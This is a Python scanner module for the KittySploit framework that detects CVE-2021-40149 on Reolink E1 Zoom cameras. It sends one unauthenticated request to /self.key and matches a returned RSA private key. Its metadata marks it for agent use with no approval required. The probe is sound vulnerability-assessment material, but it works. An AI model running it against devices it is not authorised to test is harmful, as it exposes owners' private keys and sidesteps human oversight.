Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Reolink E1 Zoom Camera versions 3."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure Detection',
        'description': 'Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'exposure', 'unauth', 'packetstorm', 'reolink', 'camera', 'iot', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt',
            'https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt',
            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149',
            'http://packetstormsecurity.com/files/167407/Reolink-E1-Zoom-Camera-3.0.0.716-Private-Key-Disclosure.html',
            'https://github.com/MrTuxracer/advisories',
        ],
        'cve': 'CVE-2021-40149',
    }

    def run(self):
        r = self.http_request(method="GET", path='/self.key', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_all = ('application/json', 'application/html',)
        body_regexes = ('(?m)^-----BEGIN PRIVATE KEY-----',)
        if (all(m in headers for m in header_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure detected",
                path='/self.key',
            )
            return True
        return False